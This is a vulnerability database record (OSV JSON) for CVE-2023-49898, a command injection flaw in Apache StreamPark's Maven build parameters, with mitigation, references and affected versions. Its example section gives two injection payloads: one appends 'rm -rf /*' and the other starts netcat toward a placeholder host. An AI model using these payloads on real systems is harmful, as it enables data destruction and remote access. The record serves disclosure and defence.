{"id":"CVE-2023-49898","summary":"Apache StreamPark (incubating): Authenticated system users could trigger remote command execution","details":"In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nMitigation:\n\nall users should upgrade to 2.1.2\n\nExample:\n\n##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use \"||\" or \"&&\":\n\n/usr/share/java/maven-3/conf/settings.xml || rm -rf /*\n\n/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &\n\n","aliases":["GHSA-qg44-xqwj-wc28"],"modified":"2026-05-19T00:14:37.119076Z","published":"2023-12-15T12:13:25.086Z","database_specific":{"cwe_ids":["CWE-77"],"unresolved_ranges":[{"source":"AFFECTED_FIELD","extracted_events":[{"introduced":"2.0.0"},{"fixed":"2.1.2"}]}],"osv_generated_from":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/49xxx/CVE-2023-49898.json","cna_assigner":"apache"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/49xxx/CVE-2023-49898.json"},{"type":"ADVISORY","url":"https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49898"}],"affected":[{"ranges":[{"type":"GIT","repo":"https://github.com/apache/streampark","events":[{"introduced":"6788ebae61d2f6d5122572229ce0a3a2555cc46d"},{"fixed":"e662e47418f5b20c9fcbd86939132194ec77e76e"}],"database_specific":{"cpe":"cpe:2.3:a:apache:streampark:*:*:*:*:*:*:*:*","extracted_events":[{"introduced":"2.0.0"},{"fixed":"2.1.2"}],"source":"CPE_FIELD"}}],"versions":["v2.1.2-rc3","v2.1.2-rc2","v2.1.2-rc1","v2.1.1-rc1","v2.1.1","v2.1.0-rc1","v2.1.0","v2.0.0-rc7","v2.0.0"],"database_specific":{"source":"https://storage.googleapis.com/osv-test-cve-osv-conversion/osv-output/CVE-2023-49898.json","vanir_signatures_modified":"2026-05-19T00:14:37Z","vanir_signatures":[{"signature_type":"Line","signature_version":"v1","id":"CVE-2023-49898-80deb42b","target":{"file":"streampark-console/streampark-console-service/src/main/java/org/apache/streampark/console/core/service/impl/ApplicationServiceImpl.java"},"deprecated":false,"source":"https://github.com/apache/streampark/commit/e662e47418f5b20c9fcbd86939132194ec77e76e","digest":{"threshold":0.9,"line_hashes":["222464668846439263953617346370995476873","237139840142159621766878769110390273786","287826707287086014929924355203740489487","9730374963767865837527598167335794757"]}},{"signature_type":"Line","signature_version":"v1","id":"CVE-2023-49898-950caaed","target":{"file":"streampark-console/streampark-console-service/src/main/java/org/apache/streampark/console/core/service/impl/AppBuildPipeServiceImpl.java"},"deprecated":false,"source":"https://github.com/apache/streampark/commit/e662e47418f5b20c9fcbd86939132194ec77e76e","digest":{"threshold":0.9,"line_hashes":["221482226312325498041445107140056883717","278372266637031400425052499766713896755","308184987414297417715884655277634973762","109721080902064859109454280746581917785","189012469814121709474573291634845381484","185791378126076316144918461577924640800","183703384868016294802697228125699927901","80111946271225929203859251249931010589","232357022325168241111651363835470870422","124113731693372171016951822606449010928","55202712916739917845018416590659262026","55505831842791509682681247976222412661"]}},{"signature_type":"Function","signature_version":"v1","id":"CVE-2023-49898-9f72b959","target":{"function":"prepareJars","file":"streampark-console/streampark-console-service/src/main/java/org/apache/streampark/console/core/service/impl/AppBuildPipeServiceImpl.java"},"deprecated":false,"source":"https://github.com/apache/streampark/commit/e662e47418f5b20c9fcbd86939132194ec77e76e","digest":{"length":2933,"function_hash":"142451175898494998662816931160104097482"}},{"signature_type":"Line","signature_version":"v1","id":"CVE-2023-49898-a2315539","target":{"file":".mvn/wrapper/MavenWrapperHelper.java"},"deprecated":false,"source":"https://github.com/apache/streampark/commit/e662e47418f5b20c9fcbd86939132194ec77e76e","digest":{"threshold":0.9,"line_hashes":["76338922572233697968312917938297382954","138709318156726881422762871284011097771","27563879648865355408394249156762325468","276756420641197340496057301930488851989"]}},{"signature_type":"Line","signature_version":"v1","id":"CVE-2023-49898-e0396076","target":{"file":"streampark-console/streampark-console-service/src/main/java/org/apache/streampark/console/core/entity/Application.java"},"deprecated":false,"source":"https://github.com/apache/streampark/commit/e662e47418f5b20c9fcbd86939132194ec77e76e","digest":{"threshold":0.9,"line_hashes":["83684661595795697999006364337340042996","115026717400556580559446004849304547706","223349224988443629445506196801140653292"]}}]}}],"schema_version":"1.7.5"}